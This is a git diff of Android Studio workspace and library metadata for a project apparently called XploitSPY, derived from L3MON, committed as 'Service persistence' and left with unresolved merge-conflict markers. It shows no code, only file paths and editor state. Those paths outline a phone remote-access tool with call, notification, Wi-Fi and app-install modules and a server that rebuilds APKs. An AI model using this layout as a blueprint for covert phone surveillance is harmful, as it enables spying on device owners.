Service persistence
@ -1,8 +1,8 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: android.arch.lifecycle:runtime:1.1.1@aar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/381fadb5cd71ffb4324ae3850b019f3a/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/381fadb5cd71ffb4324ae3850b019f3a/res" />
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/3a461149442b48b518c68ee23118541e/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/3a461149442b48b518c68ee23118541e/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES>
|
||||
|
@ -1,11 +1,11 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support:support-compat:28.0.0@aar">
|
||||
<ANNOTATIONS>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/63e35f65c3b46b5f98956af755fa0b27/annotations.zip!/" />
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/670cd3dfcfe81a504e9b8c0029c4cc31/annotations.zip!/" />
|
||||
</ANNOTATIONS>
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/63e35f65c3b46b5f98956af755fa0b27/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/63e35f65c3b46b5f98956af755fa0b27/res" />
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/670cd3dfcfe81a504e9b8c0029c4cc31/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/670cd3dfcfe81a504e9b8c0029c4cc31/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
|
@ -1,8 +1,8 @@
|
||||
<component name="libraryTable">
|
||||
<library name="Gradle: com.android.support:versionedparcelable:28.0.0@aar">
|
||||
<CLASSES>
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/cbad4be156e95a30d792ef41a6e3f1b9/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/cbad4be156e95a30d792ef41a6e3f1b9/res" />
|
||||
<root url="jar://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/ea97d4d9175faefe95b26bcc8eeeb899/jars/classes.jar!/" />
|
||||
<root url="file://$USER_HOME$/.gradle/caches/transforms-2/files-2.1/ea97d4d9175faefe95b26bcc8eeeb899/res" />
|
||||
</CLASSES>
|
||||
<JAVADOC />
|
||||
<SOURCES />
|
||||
|
@ -27,10 +27,17 @@
|
||||
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.lock" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.bin" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.lock" afterDir="false" />
|
||||
<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
|
||||
=======
|
||||
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/classAnalysis.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/classAnalysis.bin" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/javaCompile.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/javaCompile.lock" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/taskHistory.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/taskHistory.bin" afterDir="false" />
|
||||
>>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
|
||||
<change beforePath="$PROJECT_DIR$/.gradle/buildOutputCleanup/buildOutputCleanup.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/buildOutputCleanup.lock" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.gradle/buildOutputCleanup/outputFiles.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/outputFiles.bin" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.idea/caches/build_file_checksums.ser" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/caches/build_file_checksums.ser" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.idea/caches/gradle_models.ser" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/caches/gradle_models.ser" afterDir="false" />
|
||||
<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
|
||||
<change beforePath="$PROJECT_DIR$/.idea/modules.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/modules.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/client.iml" beforeDir="false" />
|
||||
@ -40,6 +47,44 @@
|
||||
<change beforePath="$PROJECT_DIR$/../index.js" beforeDir="false" afterPath="$PROJECT_DIR$/../index.js" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../package-lock.json" beforeDir="false" afterPath="$PROJECT_DIR$/../package-lock.json" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../package.json" beforeDir="false" afterPath="$PROJECT_DIR$/../package.json" afterDir="false" />
|
||||
=======
|
||||
<change beforePath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/app/app.iml" beforeDir="false" afterPath="$PROJECT_DIR$/app/app.iml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/app/build.gradle" beforeDir="false" afterPath="$PROJECT_DIR$/app/build.gradle" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/app/release/app-release.apk" beforeDir="false" afterPath="$PROJECT_DIR$/app/release/app-release.apk" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" beforeDir="false" afterPath="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java" beforeDir="false" afterPath="$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/AndroidManifest.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/AndroidManifest.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/apktool.yml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/apktool.yml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/AndroidManifest.xml" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/classes.dex" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout-v17/activity_main.xml" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout/activity_main.xml" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/resources.arsc" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/original/AndroidManifest.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/AndroidManifest.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.RSA" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.RSA" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.SF" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.SF" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/MANIFEST.MF" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/MANIFEST.MF" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values-w820dp-v13/dimens.xml" beforeDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/colors.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/colors.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/dimens.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/dimens.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/ids.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/ids.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/public.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/public.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/strings.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/strings.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/styles.xml" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/styles.xml" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainService.smali" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainService.smali" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/ServiceReciever.smali" beforeDir="false" afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/ServiceReciever.smali" afterDir="false" />
|
||||
<change beforePath="$PROJECT_DIR$/../server/assets/views/changePassword.ejs" beforeDir="false" />
|
||||
>>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
|
||||
</list>
|
||||
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
|
||||
<option name="SHOW_DIALOG" value="false" />
|
||||
@ -50,7 +95,7 @@
|
||||
<component name="DefaultGradleProjectSettings">
|
||||
<option name="isMigrated" value="true" />
|
||||
</component>
|
||||
<component name="ExecutionTargetManager" SELECTED_TARGET="Nexus_5X_API_29_x86" />
|
||||
<component name="ExecutionTargetManager" SELECTED_TARGET="d05a03e7d830" />
|
||||
<component name="ExternalProjectsManager">
|
||||
<system id="GRADLE">
|
||||
<state>
|
||||
@ -60,15 +105,115 @@
|
||||
</component>
|
||||
<component name="FileEditorManager">
|
||||
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
|
||||
<file pinned="false" current-in-tab="true">
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
|
||||
<state relative-caret-position="323">
|
||||
<caret line="23" column="54" selection-start-line="23" selection-start-column="54" selection-end-line="23" selection-end-column="54" />
|
||||
=======
|
||||
<state relative-caret-position="374">
|
||||
<caret line="26" column="9" selection-start-line="26" selection-start-column="9" selection-end-line="26" selection-end-column="9" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/PermissionManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="68">
|
||||
<caret line="10" column="24" selection-start-line="10" selection-start-column="13" selection-end-line="10" selection-end-column="30" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainActivity.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state>
|
||||
<folding>
|
||||
<element signature="imports" expanded="true" />
|
||||
</folding>
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="true">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="539">
|
||||
<caret line="199" selection-start-line="199" selection-end-line="201" selection-end-column="5" />
|
||||
<folding>
|
||||
<element signature="imports" expanded="true" />
|
||||
<element signature="e#5451#6425#0" expanded="true" />
|
||||
<element signature="e#6424#6425#0" expanded="true" />
|
||||
<element signature="e#7095#7096#0" expanded="true" />
|
||||
<element signature="e#7197#7198#0" expanded="true" />
|
||||
</folding>
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/NotificationListener.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="119">
|
||||
<caret line="17" column="40" selection-start-line="17" selection-start-column="40" selection-end-line="17" selection-end-column="40" />
|
||||
<folding>
|
||||
<element signature="e#457#458#0" expanded="true" />
|
||||
<element signature="e#500#501#0" expanded="true" />
|
||||
</folding>
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/build.gradle">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="46">
|
||||
<caret line="10" column="24" selection-start-line="10" selection-start-column="24" selection-end-line="10" selection-end-column="24" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CallsManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="165">
|
||||
<caret line="19" column="36" selection-start-line="19" selection-start-column="36" selection-end-line="19" selection-end-column="36" />
|
||||
>>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="187">
|
||||
<caret line="15" column="64" selection-start-line="15" selection-start-column="64" selection-end-line="15" selection-end-column="64" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MyReceiver.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="68">
|
||||
<caret line="8" column="20" selection-start-line="8" selection-start-column="20" selection-end-line="8" selection-end-column="20" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
</file>
|
||||
<file pinned="false" current-in-tab="false">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="367">
|
||||
<caret line="76" selection-start-line="76" selection-end-line="76" />
|
||||
</state>
|
||||
</provider>
|
||||
<provider editor-type-id="android-manifest" />
|
||||
</entry>
|
||||
</file>
|
||||
</leaf>
|
||||
</component>
|
||||
<component name="FindInProjectRecents">
|
||||
@ -108,9 +253,10 @@
|
||||
<option value="$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/ServiceReciever.java" />
|
||||
<option value="$PROJECT_DIR$/../../L3MON/client/app/src/main/AndroidManifest.xml" />
|
||||
<option value="$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MainService.java" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" />
|
||||
<option value="$PROJECT_DIR$/../../L3MON/client/app/build.gradle" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/java/com/remote/app/ServiceReciever.java" />
|
||||
<option value="$PROJECT_DIR$/app/build.gradle" />
|
||||
<option value="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" />
|
||||
</list>
|
||||
</option>
|
||||
</component>
|
||||
@ -127,13 +273,42 @@
|
||||
</navigator>
|
||||
<panes>
|
||||
<pane id="Scope" />
|
||||
<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
|
||||
=======
|
||||
<pane id="AndroidView">
|
||||
<subPane>
|
||||
<expand>
|
||||
<path>
|
||||
<item name="client" type="1abcf292:AndroidViewProjectNode" />
|
||||
<item name="app" type="feadf853:AndroidModuleNode" />
|
||||
</path>
|
||||
<path>
|
||||
<item name="client" type="1abcf292:AndroidViewProjectNode" />
|
||||
<item name="app" type="feadf853:AndroidModuleNode" />
|
||||
<item name="java" type="edd41e36:AndroidSourceTypeNode" />
|
||||
</path>
|
||||
<path>
|
||||
<item name="client" type="1abcf292:AndroidViewProjectNode" />
|
||||
<item name="app" type="feadf853:AndroidModuleNode" />
|
||||
<item name="java" type="edd41e36:AndroidSourceTypeNode" />
|
||||
<item name="app" type="cbb59c9e:AndroidPsiDirectoryNode" />
|
||||
</path>
|
||||
<path>
|
||||
<item name="client" type="1abcf292:AndroidViewProjectNode" />
|
||||
<item name="Gradle Scripts" type="ae0cef3a:AndroidBuildScriptsGroupNode" />
|
||||
</path>
|
||||
</expand>
|
||||
<select />
|
||||
</subPane>
|
||||
</pane>
|
||||
>>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
|
||||
<pane id="ProjectPane" />
|
||||
<pane id="PackagesPane" />
|
||||
<pane id="AndroidView" />
|
||||
</panes>
|
||||
</component>
|
||||
<component name="PropertiesComponent">
|
||||
<property name="ExportApk.ApkPath" value="C:\Users\Chris\Documents\Private\XploitSPY\client\app" />
|
||||
<property name="ExportApk.ApkPath" value="C:\Users\Chris\Documents\XploitSpy\client\app" />
|
||||
<property name="ExportApk.BuildVariants" value="release" />
|
||||
<property name="ExportApk.SignV1" value="true" />
|
||||
<property name="SHARE_PROJECT_CONFIGURATION_FILES" value="true" />
|
||||
@ -248,23 +423,32 @@
|
||||
<frame x="-7" y="-7" width="1550" height="838" extended-state="7" />
|
||||
<layout>
|
||||
<window_info id="Captures" order="0" side_tool="true" weight="0.25" />
|
||||
<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
|
||||
<window_info content_ui="combo" id="Project" order="1" sideWeight="0.49807692" visible="true" weight="0.13154362" />
|
||||
=======
|
||||
<window_info content_ui="combo" id="Project" order="1" sideWeight="0.49716714" visible="true" weight="0.13154362" />
|
||||
>>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
|
||||
<window_info id="Structure" order="2" side_tool="true" />
|
||||
<window_info id="Favorites" order="3" side_tool="true" />
|
||||
<window_info id="Build Variants" order="4" sideWeight="0.5019231" side_tool="true" weight="0.13154362" />
|
||||
<window_info active="true" id="Build Variants" order="4" sideWeight="0.5028329" side_tool="true" visible="true" weight="0.13154362" />
|
||||
<window_info id="Image Layers" order="5" />
|
||||
<window_info id="Designer" order="6" />
|
||||
<window_info id="Resources Explorer" order="7" />
|
||||
<window_info id="Capture Tool" order="8" />
|
||||
<window_info anchor="bottom" id="Run" order="0" sideWeight="0.4968017" weight="0.32827735" />
|
||||
<window_info anchor="bottom" id="Logcat" order="1" sideWeight="0.49840087" weight="0.21235102" />
|
||||
<window_info anchor="bottom" id="Logcat" order="1" sideWeight="0.49840087" weight="0.7450425" />
|
||||
<window_info anchor="bottom" id="TODO" order="2" sideWeight="0.4989339" weight="0.32936078" />
|
||||
<window_info anchor="bottom" id="Debug" order="3" />
|
||||
<window_info anchor="bottom" id="Terminal" order="4" sideWeight="0.4989339" weight="0.32936078" />
|
||||
<window_info anchor="bottom" id="Event Log" order="5" sideWeight="0.50319827" side_tool="true" weight="0.26435536" />
|
||||
<window_info anchor="bottom" id="Version Control" order="6" />
|
||||
<<<<<<< HEAD:APK_SouceCode/.idea/workspace.xml
|
||||
<window_info active="true" anchor="bottom" id="Build" order="7" sideWeight="0.4968017" visible="true" weight="0.26203966" />
|
||||
<window_info anchor="bottom" id="Android Profiler" order="8" show_stripe_button="false" weight="0.32936078" />
|
||||
=======
|
||||
<window_info anchor="bottom" id="Build" order="7" sideWeight="0.4968017" weight="0.26203966" />
|
||||
<window_info anchor="bottom" id="Android Profiler" order="8" weight="0.32936078" />
|
||||
>>>>>>> 2b4d1de... Service persistence:client/.idea/workspace.xml
|
||||
<window_info anchor="bottom" id="Find" order="9" weight="0.3286119" />
|
||||
<window_info anchor="right" id="Device File Explorer" order="0" side_tool="true" />
|
||||
<window_info anchor="right" id="Capture Analysis" order="1" />
|
||||
@ -287,29 +471,17 @@
|
||||
</breakpoint-manager>
|
||||
</component>
|
||||
<component name="editorHistoryManager">
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/dimens.xml">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java" />
|
||||
<entry file="file://$PROJECT_DIR$/.idea/workspace.xml">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="163">
|
||||
<caret line="321" column="41" selection-start-line="321" selection-start-column="41" selection-end-line="321" selection-end-column="41" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/L3MON.iml" />
|
||||
<entry file="file://$PROJECT_DIR$/L3MON-Client.iml" />
|
||||
<entry file="file://$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.properties">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml">
|
||||
<provider editor-type-id="android-designer2" />
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="212">
|
||||
<caret line="14" column="33" selection-start-line="14" selection-start-column="33" selection-end-line="14" selection-end-column="33" />
|
||||
</state>
|
||||
</provider>
|
||||
<provider editor-type-id="android-designer2" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/client - Copy.iml" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/res/values-w820dp/dimens.xml">
|
||||
@ -364,13 +536,6 @@
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainService.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/IOSocket.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/etechd/l3mon/BuildConfig.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CallsManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="-187">
|
||||
<caret line="10" column="13" selection-start-line="10" selection-start-column="13" selection-end-line="10" selection-end-column="13" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/WifiScanner.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="-221">
|
||||
@ -388,13 +553,6 @@
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainActivity.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="493">
|
||||
<caret line="40" column="64" selection-start-line="40" selection-start-column="64" selection-end-line="40" selection-end-column="64" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CameraManager.java">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
@ -413,28 +571,6 @@
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/remote/app/BuildConfig.java" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppInstaller.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="34">
|
||||
<caret line="2" column="13" selection-start-line="2" selection-start-column="13" selection-end-line="2" selection-end-column="13" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppList.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="204">
|
||||
<caret line="20" column="39" selection-start-line="20" selection-start-column="39" selection-end-line="20" selection-end-column="39" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
|
||||
<provider editor-type-id="android-manifest" />
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="414">
|
||||
<caret line="48" column="34" selection-start-line="48" selection-start-column="34" selection-end-line="48" selection-end-column="34" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="jar://$USER_HOME$/AppData/Local/Android/Sdk/platforms/android-24/android.jar!/android/app/Service.class">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="102">
|
||||
@ -446,35 +582,121 @@
|
||||
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/ServiceReciever.java" />
|
||||
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MainService.java" />
|
||||
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/build.gradle" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
|
||||
<entry file="file://$PROJECT_DIR$/build.gradle">
|
||||
<provider selected="true" editor-type-id="text-editor" />
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/../../L3MON/client/app/src/main/AndroidManifest.xml" />
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppInstaller.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="1802">
|
||||
<caret line="108" selection-start-line="108" selection-end-line="108" />
|
||||
<state relative-caret-position="34">
|
||||
<caret line="2" column="13" selection-start-line="2" selection-start-column="13" selection-end-line="2" selection-end-column="13" />
|
||||
</state>
|
||||
</provider>
|
||||
</entry>
|
||||
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppList.java">
|
||||
<provider selected="true" editor-type-id="text-editor">
|
||||
<state relative-caret-position="102">
|
||||
